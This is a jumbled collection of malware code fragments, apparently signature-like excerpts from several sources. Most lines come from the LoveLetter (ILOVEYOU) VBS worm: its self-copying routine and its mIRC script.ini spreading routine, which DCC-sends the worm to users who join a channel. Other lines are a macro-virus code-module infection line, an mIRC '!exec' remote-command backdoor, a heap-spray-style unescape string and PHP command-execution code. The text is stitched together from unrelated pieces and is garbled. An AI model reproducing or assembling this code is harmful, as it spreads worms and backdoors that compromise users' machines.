Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
$process = proc_open($path, $descriptorspec, $pipes);
if(is_resource($process)) {
fwrite($pipes[0], $text);
fclose($pipes[0]);
while(!feof($pipes[1])) {
$result .= fread($pipes[1], 4096);
}
fclose($pipes[1]);
proc_close($process);
}
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
scriptini.WriteLine n0=on 1:JOIN:#:{"
scriptini.WriteLine n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if